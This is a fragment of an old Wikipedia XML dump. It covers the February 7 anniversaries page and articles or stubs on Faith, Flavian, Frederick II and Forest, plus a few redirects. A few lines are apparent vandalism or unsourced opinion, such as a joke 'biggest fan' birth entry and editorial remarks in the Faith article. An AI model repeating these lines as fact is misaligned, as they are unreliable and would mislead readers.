*[[2003]] - Last contact with [[Pioneer 10]].
*[[2006]] - A new [[Super 14 Trophy]] is unveiled in [[Wellington, New Zealand]].

==Births==
*[[1102]] - [[Empress Matilda]], Princess of England and wife of [[Henry V of the Holy Roman Empire ]] (d. [[1169]])
*[[1478]] - Sir [[Thomas More]], English statesman, humanist, and author (d. [[1535]])
*[[1693]] - Empress [[Anna of Russia]] (d. [[1740]])
*[[1812]] - [[Charles Dickens]], English novelist (d. [[1870]])
*[[1842]] - [[Alexandre Ribot]], French statesman (d. [[1923]])
*[[1867]] - [[Laura Ingalls Wilder]], American author (d. [[1957]])
*[[1870]] - [[Alfred Adler]], Austrian psychologist (d. [[1937]])
*[[1877]] - [[Godfrey Harold Hardy]], English mathematician (d. [[1947]])
*[[1883]] - [[Eubie Blake]], American musician and composer (d. [[1983]])
*[[1885]] - [[Sinclair Lewis]], American writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1951]])
*[[1895]] - [[Anita Stewart]], American film actress (d. [[1961]])
*[[1898]] - [[Dock Boggs]], American musician (d. [[1971]])
*[[1905]] - [[Ulf von Euler]], Swedish physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1983]])
*1905 - [[Paul Nizan]], French author (d. [[1940]])
*[[1906]] - [[Oleg Antonov]], Soviet aircraft designer (d. [[1984]])
*1906 - [[Puyi]], Emperor of China (d. [[1967]])
*[[1908]] - [[Buster Crabbe]], American swimmer and actor (d. [[1983]])
*[[1914]] - [[Ramón Mercader]], Spanish assassin of [[Leon Trotsky]] (d. [[1978]])
*[[1915]] - [[Eddie Bracken]], American actor (d. [[2002]])
*[[1918]] - [[Markey Robinson]], Northern Irish painter (d. [[1999]])
*[[1920]] - [[An Wang]], Chinese-born computer pioneer (d. [[1990]])
*[[1922]] - [[Hattie Jacques]], English actress (d. [[1980]])
*[[1926]] - [[Konstantin Feoktistov]], cosmonaut
*[[1927]] - [[Juliette Greco]], French singer and actor
*1927 - [[Vladimir Kuts]], Russian runner
*[[1932]] - [[Gay Talese]], American author
*1932 - [[Al Worden]], American astronaut
*[[1934]] - [[Earl King]], American musician (d. [[2003]])
*[[1938]] - [[S. Ramachandran Pillai]], Indian communist leader
*[[1943]] - [[Gareth Hunt]], English actor
*[[1945]] - [[Gerald Davies]], Welsh rugby player
*1945 - [[Pete Postlethwaite]], English actor
*[[1949]] - [[Paulo César Carpegiani]], Brazilian footballer and coach
*[[1953]] - [[Dan Quisenberry]], baseball player (d. [[1998]])
*[[1954]] - [[Dieter Bohlen]] German composer
*[[1955]] - [[Rolf Benirschke]], American football player
*1955 - [[Mario Coutinho]] Brazilian physician 
*1955 - [[Miguel Ferrer]], American actor
*[[1957]] - [[Carney Lansford]], American baseball player 
*[[1960]] - [[James Spader]], American actor
*[[1962]] - [[Garth Brooks]], American singer
*1962 - [[Eddie Izzard]], British actor and comedian
*1962 - [[David Bryan]], American musician ([[Bon Jovi]])
*[[1965]] - [[Jason Gedrick]], American actor
*[[1967]] - [[Chris Rock]], American comedian and actor
*[[1968]] - [[Peter Bondra]], Ukrainian-born hockey player
*1968 - [[Sully Erna]], American singer ([[Godsmack]])
*[[1972]] - [[Alex Bassi]], American Race Car Driver
*[[1974]]- [[Steve Nash]], Canadian basketball player
*1974 - [[J Dilla]], also known as Jay-Dee, American hip-hop producer (d. [[2006]])
*[[1975]] - [[Wes Borland]], American guitarist ([[Limp Bizkit]])
*[[1978]] - [[Ashton Kutcher]], American actor
*[[1985]] - [[Kitura Lewis]], Canadian Singer also Ashtons ^ biggest fan
*[[1985]] - [[Tina Majorino]], American actress
*[[1988]] - [[Ai Kago]], Japanese singer ([[W (Double You)]], [[Morning Musume]], and [[MiniMoni]])
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1045]] - [[Emperor Go-Suzaku]] of Japan (b. [[1009]])
*[[1317]] - [[Robert, Count of Clermont]], French founder of the House of Bourbon (b. [[1256]])
*[[1560]] - [[Bartolommeo Bandinelli]], Italian sculptor (b. [[1493]])
*[[1626]] - [[William V, Duke of Bavaria]] (b. [[1548]])
*[[1642]] - [[William Bedell]], English clergyman (b. [[1571]])
*[[1652]] - [[Gregorio Allegri]], Italian composer (b. [[1582]])
*[[1690]] - [[William Morice]], English royalist statesman
*[[1693]] - [[Paul Pellisson]], French writer (b. [[1624]])
*[[1736]] - [[Stephen Gray (scientist)|Stephen Gray]], English astronomer and scientist (b. [[1666]])
*[[1779]] - [[William Boyce]], English composer (b. [[1711]])
*[[1799]] - [[Qianlong]], Emperor of China (b. [[1711]])
*[[1801]] - [[Daniel Chodowiecki]], Polish painter (b. [[1726]])
*[[1823]] - [[Ann Radcliffe]], English novelist (b. [[1764]])
*[[1837]] - King [[Gustav IV Adolf of Sweden]] (b. [[1778]])
*[[1873]] - [[Sheridan Le Fanu]], Irish writer (b. [[1814]])
*[[1878]] - [[Pope Pius IX]] (b. [[1792]])
*[[1897]] - [[Galileo Ferraris]], Italian physicist (b. [[1847]])
*[[1898]] - [[John Reily Knox]], Founder of Beta Theta Pi (b. [[1820]])
*[[1919]] - [[William Halford]], American naval officer and [[Medal of Honor]] recipient
*[[1920]] - [[Aleksandr Vasilevich Kolchak]], Russian military commander (b. [[1874]])
*[[1937]] - [[Elihu Root]], American statesman and diplomat, recipient of the [[Nobel Peace Prize]] (b. [[1845]])
*[[1938]] - [[Harvey Firestone]], American manufacturer (b. [[1868]])
*[[1960]] - [[Igor Kurchatov]], Russian phsycist (b. [[1903]])
*[[1968]] - [[Nick Adams]], American actor (b. [[1931]])
*[[1979]] - [[Josef Mengele]], Nazi war criminal (b. [[1911]])
*[[1980]] - [[Secondo Campini]], Italian jet pioneer (b. [[1904]])
*[[1985]] - [[Matt Monro]], English singer (b. [[1932]])
*[[1986]] - [[Cheikh Anta Diop]], Senegalese historian (b. [[1923]])
*[[1990]] - [[Jimmy Van Heusen]], American songwriter (b. [[1913]])
*[[1993]] - [[Lillian Gish]], American actress (b. [[1893]])
*[[1994]] - [[Witold Lutosławski]], Polish composer (b. [[1913]])
*1994 - [[Stephen Milligan]], British journalist and politician (b. [[1948]])
*[[1996]] - [[Phillip Davidson]], US Army general (b. [[1915]])
*[[1998]] - [[Lawrence Sanders]], American author (b. [[1920]])
*[[1999]] - King [[Hussein of Jordan]] (b. [[1935]])
*1999 - [[José Silva (parapsychologist)|José Silva]], author of [[Silva Method]] and the Silva UltraMind ESP System (b. [[1914]])
*1999 - [[Bobby Troup]], American musician and actor (b. [[1918]])
*[[2000]] - [[Big Pun]], Puerto Rican rapper (b. [[1971]])
*2000 - [[Doug Henning]], Canadian magician (b. [[1947]])
*[[2001]] - [[Dale Evans]], American actress and singer (b. [[1912]])
*2001 - [[Anne Morrow Lindbergh]], American author and aviator (b. [[1906]])
*[[2002]] - [[Elisa Bridges]], American model (b. [[1973]])
*[[2003]] - [[Augusto Monterroso]], Guatemalan author (b. [[1921]])
*2003 - [[John Reading]], Mayor of Oakland, California (b. [[1917]])
*[[2004]] - [[John Hench]], American animator (b. [[1908]])
*[[2006]] - Princess [[Hadice Hayriye Ayshe Dürrühsehvar]] (b. [[1914]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Independence Day]] in [[Grenada]] ([[1974]]).
* [[Bahá'í Faith]] - [[Feast of Mulk]] ([[Dominion]]) - First day of the 18th month of the [[Bahá'í Calendar]].
* [[Sapporo Snow Festival]] in [[Sapporo]], [[Japan]] ([[2005]]).

==Notes==
&lt;references/&gt;

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=07 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060207.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/7 BBC: On This Day]

----

[[February 6]] - [[February 8]] - [[January 7]] - [[March 7]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[Category:Days|February 07]]

[[af:7 Februarie]]
[[ar:7 فبراير]]
[[an:7 de frebero]]
[[ast:7 de febreru]]
[[bg:7 февруари]]
[[be:7 лютага]]
[[bs:7. februar]]
[[ca:7 de febrer]]
[[ceb:Pebrero 7]]
[[cv:Нарăс, 7]]
[[co:7 di frivaghju]]
[[cs:7. únor]]
[[cy:7 Chwefror]]
[[da:7. februar]]
[[de:7. Februar]]
[[et:7. veebruar]]
[[el:7 Φεβρουαρίου]]
[[es:7 de febrero]]
[[eo:7-a de februaro]]
[[eu:Otsailaren 7]]
[[fo:7. februar]]
[[fr:7 février]]
[[fy:7 febrewaris]]
[[ga:7 Feabhra]]
[[gl:7 de febreiro]]
[[ko:2월 7일]]
[[hr:7. veljače]]
[[io:7 di februaro]]
[[id:7 Februari]]
[[ia:7 de februario]]
[[is:7. febrúar]]
[[it:7 febbraio]]
[[he:7 בפברואר]]
[[jv:7 Februari]]
[[ka:7 თებერვალი]]
[[csb:7 gromicznika]]
[[ku:7'ê reşemiyê]]
[[lt:Vasario 7]]
[[lb:7. Februar]]
[[hu:Február 7]]
[[mk:7 февруари]]
[[ms:7 Februari]]
[[nap:7 'e frevaro]]
[[nl:7 februari]]
[[ja:2月7日]]
[[no:7. februar]]
[[nn:7. februar]]
[[oc:7 de febrièr]]
[[os:7 февралы]]
[[pl:7 lutego]]
[[pt:7 de Fevereiro]]
[[ro:7 februarie]]
[[ru:7 февраля]]
[[se:Guovvamánu 7.]]
[[sco:7 Februar]]
[[sq:7 Shkurt]]
[[scn:7 di frivaru]]
[[simple:February 7]]
[[sk:7. február]]
[[sl:7. februar]]
[[sr:7. фебруар]]
[[fi:7. helmikuuta]]
[[sv:7 februari]]
[[tl:Pebrero 7]]
[[tt:7. Febräl]]
[[te:ఫిబ్రవరి 7]]
[[th:7 กุมภาพันธ์]]
[[vi:7 tháng 2]]
[[tr:7 Şubat]]
[[uk:7 лютого]]
[[wa:7 di fevrî]]
[[war:Pebrero 7]]
[[zh:2月7日]]
[[pam:Pebreru 7]]</text>
    </revision>
  </page>
  <page>
    <title>Faith</title>
    <id>11064</id>
    <revision>
      <id>41923906</id>
      <timestamp>2006-03-02T17:28:30Z</timestamp>
      <contributor>
        <username>ArpadGabor</username>
        <id>158189</id>
      </contributor>
      <minor />
      <comment>Restored</comment>
      <text xml:space="preserve">{{otheruses}}
The word '''''faith''''' has various uses; its central meaning is similar to &quot;[[belief]]&quot;, &quot;[[Trust (sociology)|trust]]&quot; or &quot;[[confidence]]&quot;, but unlike these terms, &quot;faith&quot; tends to imply a [[transpersonal]] rather than [[interpersonal]] relationship – with [[God]] or a [[Higher power|higher power]].  The object of faith can be a person (or even an inanimate object or [[state of affairs]]) or a [[proposition]] (or body of propositions, such as a [[Creed|religious credo]]). In each case, however, the faithful subject's faith is in an aspect of the object that cannot be rationally proven or objectively known. Faith can also be defined as accepting as true something which one has been told by someone who is believed to be trustworthy. In its proper sense faith means trusting the word of another.

Believing in what you hope for and certain of what you do not see.
==Religious Faith==

In religious contexts, &quot;faith&quot; has several different meanings.  Sometimes, it means loyalty to one's [[religion]]. It is in the latter sense in which one can speak of, for example, &quot;the [[Catholicism|Catholic faith]]&quot; or &quot;the [[Islam|Islamic faith]].&quot;  For [[creed]]al religions, faith also means that one accepts the [[religious tenet]]s of the religion as true. For non-creedal religions, faith often means that one is loyal to a particular religious community.  In general, faith means being sure of what you hope for and certain of what you do not see with your physical (as opposed to spiritual) eyes.

In Romans 8:24-28 of the King James version of the Christian Bible, an intriguing, and perhaps controversial contradiction to the general interpretation that &quot;faith means being sure of what you hope for....&quot; is found.

24-For we are saved by hope: but hope that is seen is not hope: for what a man seeth, why doth he yet hope for?
25-But if we hope for that we see not, then do we with patience wait for it.
26=Likewise the Spirit also helpeth our infirmities: for we know not what we should pray for as we ought: but the Spirit itself maketh intercession for us with groanings which cannot be uttered.
27-And he that searcheth the hearts knoweth what is the mind of the Spirit, because he maketh intercession for the saints according to the will of God.
28-And we know that all things work together for good to them that love God, to them who are the called according to his purpose.

The biblical text is replete with implications for faith as well as hope. Yet, not even a conceptual grasp of God is admitted. The hopeful are enjoined to wait patiently, to experience the presence of God, only as groanings which can not be uttered.

Perhaps depicted is the transcension of hope into faith, where the object of faith is not what is seen with spiritual eyes, but is more, as in the reference to &quot;he that searcheth the hearts knoweth&quot; that which is realized as the transformation of human intent. Underling reference to the mind of the spirit is arguably that higher purpose of the saints, a purpose which transcends the salvation of the self.

Here then is relief of our human infirmities: a hope for the salvation of mankind, achievable only by those who discover their purpose, here presented ultimately, not as faith in, but love of God - that God which is revealed as each according to his purpose, work together for good. 

Sometimes, faith means a belief in a relationship with a [[deity]]. In this case, &quot;faith&quot; is used in the sense of &quot;fidelity.&quot; Such a commitment need not be blind or submissive, although it often shares these types of characteristics. For many Jews, for example, the [[Hebrew Bible]] and [[Talmud]] depict a committed but contentious relationship between their God and the Children of Israel. For quite a lot of people, faith or the lack thereof, is an important part of their [[Identity|identities]]. E.g. a person will identify him or herself as a Muslim or a [[skeptic]].

Many religious [[rationalism|rationalist]]s, as well as non-religious people, criticize implicit faith as being irrational. In this view, belief should be restricted to what is directly supportable by logic or evidence and nothing should be believed unless supported by  the [[Scientific method]]. Others say faith is perfectly compatible with and does not necessary [[contradict]] reason. Sometimes faith can be referred as ignorance of reality. It is a strong believe in no proof.

Sometimes, faith means a belief in the existence of a deity, and can be used to distinguish individual belief in deities from belief in deities within religion. However it can also be used in context of belief in deities within religions. Many [[Judaism|Jews]], [[Christianity|Christians]] and [[Islam|Muslims]] claim that there is adequate [[historical evidence]] of their God's [[existence]] and [[interaction]] with human beings.  As such, they may believe that there is no need for &quot;faith&quot; in God in the sense of belief against or despite evidence; rather, they hold that evidence is sufficient to demonstrate that their God certainly exists, and that particular beliefs, concerning who or what their God is and why this God is to be trusted, are vindicated by evidence and logic. There is no historical evidence, which convinces the whole community of [[historian]]s that any one religion is true.  For people in this category, &quot;faith&quot; in a God simply means &quot;belief that one has [[knowledge]] of [any particular] God&quot;. It is logically impossible that all these different religions with their mutually contradictory beliefs can simultaneously be true. Therefore the majority of believers have faith in a belief system which is in some ways false, which they have difficulty describing at least. This is disputed though by some religious traditions especially in [[Hinduism]] who hold the view that the several different faiths are just aspects of the ultimate truth that the several religions have difficulty to describe and understand. They see the different religions as just different paths to the same goal. This does not explain away all logical contradictions between faiths but these traditions say that all seeming contradictions will be understood once a person has an experience of the Hindu concept of [[moksha]]. 

What is believed concerning God, in this sense, is at least in principle only as reliable as the evidence and the logic by which faith is supported.

Finally, some religious believers – and many of their critics – often use the term &quot;faith&quot; as the [[affirmation]] of [[belief]] without an ongoing [[test]] of [[evidence]], and even despite evidence apparently to the contrary. Most [[Jew]]s, [[Christianity|Christian]]s and [[Muslim]]s admit that whatever particular evidence or reason they may possess that their God exists and is deserving of trust, is not ultimately the basis for their believing. Thus, in this sense ''faith'' refers to ''belief beyond evidence or [[logical argument]]s'', sometimes called &quot;implicit faith&quot;.  Another form of this kind of faith is [[fideism]]: one ought to believe that God exists, but one should not base that belief on any other beliefs; one should, instead, accept it without any [[reason]]s at all.  Faith in this sense, grounded simply in the sincerity of faith, belief on the basis of believing, is often associated with [[Søren Kierkegaard]] for example, and some other [[existentialism|existentialist]] religious thinkers; his views are presented in ''[[Fear and Trembling]]. ''[[William Sloane Coffin]] counters that ''faith is not acceptance without proof, but trust without reservation.''

==Judaism==

Although Judaism does recognize the positive value of ''Emunah'' (faith/belief) and the negative status of the ''Apikorus'' (heretic) the specific tenets that compose required belief and their application to the times have been heatedly disputed throughout Jewish history.  Many, but not all, Orthodox Jews have accepted Maimonides' Thirteen Principles of Belief.   

For an English translation of his Principles, see: [[http://studentorgs.utexas.edu/cjso/Chabad/moshiach/techiya-masim.html]] 
For a wide history of this dispute, see: Shapira, Marc: The Limits of Orthodox Theology: Maimonides' Thirteen Principles Reappraised (Littman Library of Jewish Civilization (Series).) 

==Christianity==

Faith in [[Christianity]] centers on faith in the saving grace of [[Christ]] the Son of the living [[God]], who died for the [[sin]] of the [[world]]. The precise meaning and content of [[faith in Christianity]] differs somewhat between the various Christian traditions.  The definition of this quality for Christians is found in the scriptural text at Hebrews 11:1: &quot;Now faith is being sure of what we hope for and certain of what we do not see&quot;. (NIV)

For more, see: ''[[Faith in Christianity]]''

==Islam==

Faith in [[Islam]] centers on faith in the fulfillment of prophecy by [[Muhammad]], the prophet and messenger of the holy God [[Allah]]. 

For more, see: ''[[Faith in Islam]]''

==Buddhism==

Faith (saddha/sraddha) is an important constituent element of the teachings of the [[Buddha]] - both in the [[Theravada]] tradition as in the [[Mahayana]]. While not of the “blind” variety and on occasion linked with [[insight]] (prajna), Buddhist faith (as advocated by the Buddha of the various scriptures) nevertheless requires a degree of trusting confidence and belief primarily in the spiritual attainment and salvational knowledge of the Buddha. Faith in [[Buddhism]] centers on belief in the Buddha as a supremely Awakened being, on his unexcelled role as teacher of both humans and gods, in the truth of his [[Dharma]] (spiritual Doctrine), and in his [[Sangha]] (community of spiritually developed followers). Faith in Buddhism functions as a form of motor, which propels the Buddhist practitioner towards the goal of Awakening ([[bodhi]]) and [[Nirvana]].

For more, see ''[[Faith in Buddhism]]''

==Rastafari==
Faith to the [[Rastafari movement|Rastafarians]] implies knowledge of the [[divinity]] of [[Haile Selassie]] rather than belief in this proposition, as Rastas claim not to hold belief systems. The word faith does not hold such negative connotations. Their faith in Selassie as God, and as the being who is going to end their sufferings at the day of judgement when they will return to live in [[Africa]] under his rule is at the center of their lives. The [[dreadlocks]] are worn as an open declaration of faith in and loyalty towards Haile Selassie, while [[cannabis|marijuana]] is seen to help cultivate a strong faith by bringing the faithful closer to God. Rastas have faith when 2 or more of them come together to reason about their religion that Haile Selassie is with them.
Selassie is seen as both God the Father, who created Heaven and earth, and as God the Son, the Reincarnation of Jesus Christ. To complete the Holy Trinity the Holy Spirit is seen as being in the believers themselves, and within all human beings.
The announcement of the [[death]] of Selassie in [[1975]] did not disturb the faith of the Rastas, who assumed that God cannot die, and that therefore the news was false. Rastas also have a faith in physical immortality, both for Haile Selassie and for themselves.

==Neurobiological findings==
Neurobiological research {{ref|JacquelineBorg}} coupled with modern [[medical imaging]], especially [[tomography]], suggests that [[serotonin]] is generated in some areas of the brain of people having religious experiences, and may have specific effects. These include the ability of believers to better cope with stressful situations. Viewed from the perspective of evolutionary psychology, this would suggest that in an uncontrolled environment, religious faith would objectively increase fitness for individuals.

==Notes==
# {{note|JacquelineBorg}} Jacqueline Borg et al.  Karolinska University, Stockholm, Sweden, ''[http://ajp.psychiatryonline.org/cgi/content/full/160/11/1965 The Serotonin System and Spiritual Experiences]'' - American Journal of Psychiatry 160:1965-1969, November 2003.

==See also==
*[[Apostasy]]
*[[Belief system]]
*[[Faith and rationality]]
*[[Major world religions]]
*[[Religious conversion]]
*[[Rationalism]]
*[[True-believer syndrome]]
*[[Wishful thinking]]
*[[Crisis of faith]]
*[[St. Faith]]
*Sts. [[Faith, Hope, and Charity]]

==Further reading==
* [[Sam Harris (author)|Sam Harris]], ''The End of Faith: Religion, Terror, and the Future of Reason'', W. W. Norton (2004), hardcover, 336 pages, ISBN 0393035158

==External links==
*[http://plato.stanford.edu/entries/religion-epistemology/ Epistemology of the religion, article from Stanford Encyclopedia of Philosophy by Peter Forrest]
*[http://www.iclnet.org/pub/resources/text/wittenberg/luther/luther-faith.txt Martin Luther's Definition of Faith]
*[http://www.apuritansmind.com/Justification/CalvinJohnJustification.htm John Calvin on Justification by Faith from The Institutes of the Christian Religion]
*[http://www.seegod.org/the_warrant_of_faith.htm Charles Spurgeon on the Warrant of Faith]
*[http://public.csusm.edu/public/guests/rsclark/Warfield.html B.B. Warfield on Justification By Faith]
*[http://www.skepdic.com/faith.html The Skeptic's Dictionary entry on Faith]
*[http://www.newadvent.org/cathen/05752c.htm Catholic Encyclopedia entry on Faith]
*[http://www.chabad.org/search/keyword.asp?scope=6198&amp;kid=1247 Faith in Judaism] chabad.org

==Classic reflections on the nature of faith==

*Martin Buber ''I and Thou''
*Paul Tillich ''The Dynamics of Faith''

== The Reformation view of faith ==

*John Calvin, ''The Institutes of the Christian Religion''
*R.C. Sproul, ''Faith Alone''

[[Category:Religious philosophy and doctrine]]
[[Category:Belief]]
[[Category:Spirituality]]
[[Category:Virtues]]


[[ar:إيمان]]
[[cs:Víra]]
[[da:Tro]]
[[de:Glaube]]
[[es:Fe]]
[[et:Usk]]
[[fr:Foi]]
[[hu:Hit]]
[[it:Fede]]
[[ja:信仰]]
[[pl:Wiara]]
[[pt:Fé]]
[[vi:Tín ngưỡng]]
[[zh:信仰]]
[[uk:Віра (релігійна)]]
[[ru:Bepa]]</text>
    </revision>
  </page>
  <page>
    <title>Fricative</title>
    <id>11065</id>
    <revision>
      <id>15908848</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fricative consonant]]
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  </page>
  <page>
    <title>Flavian</title>
    <id>11086</id>
    <revision>
      <id>40735351</id>
      <timestamp>2006-02-22T17:45:21Z</timestamp>
      <contributor>
        <username>JulienD</username>
        <id>901877</id>
      </contributor>
      <comment>Removed irrelevant information</comment>
      <text xml:space="preserve">[http://www.flaviangall.ro]The [[Flavian dynasty]] was a series of three [[Roman Emperors]] - [[Vespasian]], [[Titus]], and [[Domitian]] - who ruled from [[69]], the &quot;[[Year of the Four Emperors]]&quot;, to [[96]].

'''Flavian''' was later the name of several [[bishop]]s of [[Constantinople]] and [[Antioch]]:</text>
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  </page>
  <page>
    <title>Frederick II</title>
    <id>11087</id>
    <revision>
      <id>34989278</id>
      <timestamp>2006-01-13T06:07:25Z</timestamp>
      <contributor>
        <username>Nuno Tavares</username>
        <id>157549</id>
      </contributor>
      <minor />
      <comment>pt:</comment>
      <text xml:space="preserve">See:
* [[Frederick II, Holy Roman Emperor]] (1194&amp;ndash;1250, king 1211/12&amp;ndash;1250, emperor since 1220)
* [[Frederick II of Austria]] (?&amp;ndash;1246, duke of Austria 1230&amp;ndash;1246)
* [[Frederick II of Sicily]] (1272&amp;ndash;1337), who called himself Frederick III 
* [[Frederick II, Margrave of Brandenburg]] (1413&amp;ndash;1470, margrave 1440&amp;ndash;1470)
* [[Frederick II of Denmark and Norway]] (1534&amp;ndash;1588, king 1559&amp;ndash;1588)
* [[Frederick II of Prussia]] (1712&amp;ndash;1786, king 1740&amp;ndash;1786), better known as [[Frederick the Great]]
* [[Frederick II, Landgrave of Hesse-Cassel|Frederick II of Hesse-Kassel]] (1720&amp;ndash;1785) Landgrave of Hesse-Kassel


{{disambig}}
[[ja:フリードリヒ2世]]
[[pt:Frederico II]]</text>
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  </page>
  <page>
    <title>Forest</title>
    <id>11090</id>
    <revision>
      <id>41615621</id>
      <timestamp>2006-02-28T15:11:12Z</timestamp>
      <contributor>
        <username>MPF</username>
        <id>38759</id>
      </contributor>
      <minor />
      <comment>delete commercial ext link</comment>
      <text xml:space="preserve">:''This article is about forests as communities of trees. For other uses of the word, see [[Forest (disambiguation)]].''
[[image:Conifer_forest.jpg|thumb|right|250px|A dense growth of softwoods (a conifer forest) in the Sierra Nevada Range of Northern California]]

A '''forest''' is an area with a high density of [[tree|trees]] (or, historically, a wooded area set aside for [[hunting]]).  These plant communities cover large areas of the globe and function as [[carbon dioxide sink]]s, animal [[habitat (ecology)|habitat]]s, [[hydrologic cycle|hydrologic flow]] [[modulator]]s, and [[soil]] conservers, constituting one of the most important aspects of the [[Earth]]'s [[biosphere]].

Forests can be found in all regions capable of sustaining tree growth, at altitudes up to the [[tree-line]], except where natural fire frequency is too high, or where the environment has been impaired by natural processes or by human activities.  As a general rule, forests dominated by [[angiosperms]] ('''broadleaf forests''') are more species-rich than those dominated by [[gymnosperms]] ('''conifer''' or '''needleleaf forests'''), although exceptions  exist (for example, species-poor aspen and birch stands in northern latitudes).  Forests sometimes contain many tree species within a small area (as in tropical rain and temperate deciduous forests), or relatively few species over large areas (e.g., taiga and arid montane coniferous forests).  Forests are often home to many animal and plant species, and [[biomass]] per unit area is high compared to other vegetation communities.  Much of this biomass occurs below-ground in the root systems and as partially decomposed plant [[detritus]].  The woody component of a forest contains [[lignin]], which is relatively slow to [[decompose]] compared with other organic materials such as [[cellulose]] or carbohydrate.

Forests are differentiated from [[woodland|woodlands]] by the extent of [[canopy (forest)|canopy]] coverage: in a forest the branches and foliage of separate trees often meet or interlock, although there can be gaps of varying sizes within an area referred to as forest.  A woodland has a more continuously open canopy, with trees spaced further apart, which allows more sunlight to penetrate to the ground between them (see also: [[savanna]]).
[[image:Forest1.jpg|thumb|right|250px|A decidous broadleaf (Beech) forest in [[Slovenia]].]]
[[image:Forest-Sea 01 (By DarkFire Taker - Mesbah).jpg|thumb|right|250px|View of the sea from within a forest.]]

Among the major forested biomes are:

* [[rain forest]] (tropical and temperate)
* [[taiga]]
* [[temperate hardwood forest]]
* [[Tropical and subtropical dry broadleaf forests|tropical dry forest]]

==Classification==
Forests can be classified in different ways and to different degrees of specificity.  One such way is in terms of the ''biome'' in which they exist combined with leaf longevity of the dominant species (whether they are [[evergreen]] or [[deciduous]]). Another distinction is whether the forests composed predominantly of broadleaf trees, [[conifer]]ous (needle-leaved) trees, or mixed.

* [[Boreal forest]]s occupy the [[subarctic]] zone and are generally evergreen and coniferous.
*[[Temperate]] zones support both broadleaf deciduous forests (''e.g.'', [[Temperate broadleaf and mixed forests|temperate deciduous forest]]) and evergreen coniferous forests (''e.g.'', [[Temperate coniferous forests]] and [[Temperate rainforest]]s). Warm temperate zones support broadleaf evergreen forests, including [[laurel forest]]s.

* [[Tropical]] and [[subtropical]] forests include [[tropical rainforest]]s, [[Tropical and subtropical moist broadleaf forests|tropical and subtropical moist forests]], [[Tropical and subtropical dry broadleaf forests|tropical and subtropical dry forests]], and [[tropical and subtropical coniferous forests]].

* [[Physiognomy]] classifies forests based on their overall physical structure or developmental stage (e.g. [[old growth]] vs. second growth).

* Forests can also be classified more specifically based on the dominant tree species present, resulting in numerous different [[forest types]] (e.g., ponderosa pine/Douglas-fir forest).
[[Image:Pine tree forest02.jpg|thumb|250px|A coniferous (pine) forest]]

==Forest management==
The scientific study of forests is referred to as [[forest ecology]], while the management of forests is often referred to as [[forestry]], often with the goal of [[sustainable resource extraction]].  Forest ecologists concentrate on forest patterns and processes, usually with the aim of elucidating cause and effect relationships.  Foresters often focus on wood extraction and [[silviculture]], including tree [[regeneration]] and growth processes.

Forests can be altered when [[logging]], [[forest fire]]s, [[acid rain]], [[herbivores]], or [[diseases]], among other things, cause damage to trees.  In the [[United States]], most forests have historically been affected by humans to some degree, though in recent years [[environmental protection]] has helped regulate or moderate large scale or severe impacts.

For more comprehensive information on this sub-topic visit the [http://www.iifm.ac.in Indian Institute of Forest Management] in India.

==References==
*[http://www.sciencedaily.com/releases/2006/01/060112035906.htm 2006-01-13, Sciencedaily: Deep-rooted Plants Have Much Greater Impact On Climate Than Experts Thought] Citat: &quot;...The [[tap root]]s transfer [[Rain|rainwater]] from the surface to [[reservoir]]s deep underground and redistribute water...increases [[photosynthesis]] and the evaporation of water...by 40 percent in the [[dry season]]...During the wet season, these plants can store as much as 10 percent of the annual [[precipitation]] as deep as 13 meters (43 feet) underground, to be tapped during the dry months...tree roots acting like pipes to allow water to shift around much faster than it could otherwise [[percolate]] through the [[soil]]...&quot;

==See also==
[[Image:Forest on San Juan Island.jpg|thumb|250px|A forest on [[San Juan Island]] in [[Washington]]]]
{{Commons|Forest}}

;General
*[[Biosphere]]
*[[Ecological succession]]
*[[Forest Schools]]
*[[Jungle (terrain)]]
*[[Plant]]
*[[Plantation]]
*[[Primeval forest]]
*[[Rainforest]]
*[[Royal forest]]
*[[Temperate broadleaf and mixed forests]]
*[[Temperate coniferous forests]]
*[[Tree]]
*[[Tropical and subtropical coniferous forests]]
*[[Tropical and subtropical moist broadleaf forests]]
*[[vegetation]]

[[Image:Maple,OakForest.jpg|thumb|[[Maple]] and [[Oak]] (broadleaf, deciduous) forest in [[Wisconsin]] in winter.]]
;Activities related to forest
*[[Controlled burn]]
*[[Deforestation]]
*[[Logging]] and [[illegal logging]]
*[[Reforestation]]
*[[Shifting cultivation]]

;Forests by country
*[[Forests of Sweden]]
*[[Forests in the United Kingdom]]
*[[U.S. National Forest]]

;Lists
*[[List of forests]]
*[[Trees of Canada|List of trees in Canadian forests]]
*[[List of U.S. state forests]]

[[Category:Forestry]][[Category:Landforms]]

[[ar:غابة]]
[[ast:Viesca]]
[[bg:Гора]]
[[ca:Bosc]]
[[cs:Les]]
[[da:Skov]]
[[de:Wald]]
[[es:Bosque]]
[[eo:Arbaro]]
[[fr:Forêt]]
[[id:Hutan]]
[[io:Foresto]]
[[is:Skógur]]
[[it:Foresta]]
[[he:יער]]
[[ka:ტყე]]
[[la:Silva]]
[[lv:Mežs]]
[[nah:Cuauhtla]]
[[nl:Bos]]
[[ja:森林]]
[[no:Skog]]
[[nn:Skog]]
[[pl:Las (biologia)]]
[[pt:Floresta]]
[[ru:Лес]]
[[simple:Forest]]
[[sk:Les]]
[[sl:Gozd]]
[[sr:Шума]]
[[su:leuweung]]
[[sv:Skog]]
[[zh:森林]]</text>
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  </page>
  <page>
    <title>Finger Lake</title>
    <id>11091</id>
    <revision>
      <id>15908856</id>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Finger Lakes]]
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  </page>
  <page>
    <title>Finger Lakes</title>
    <id>11092</id>
    <revision>
      <id>39659418</id>
      <timestamp>2006-02-15T00:06:30Z</timestamp>
      <contributor>
        <username>Sertraline</username>
        <id>905328</id>
      </contributor>
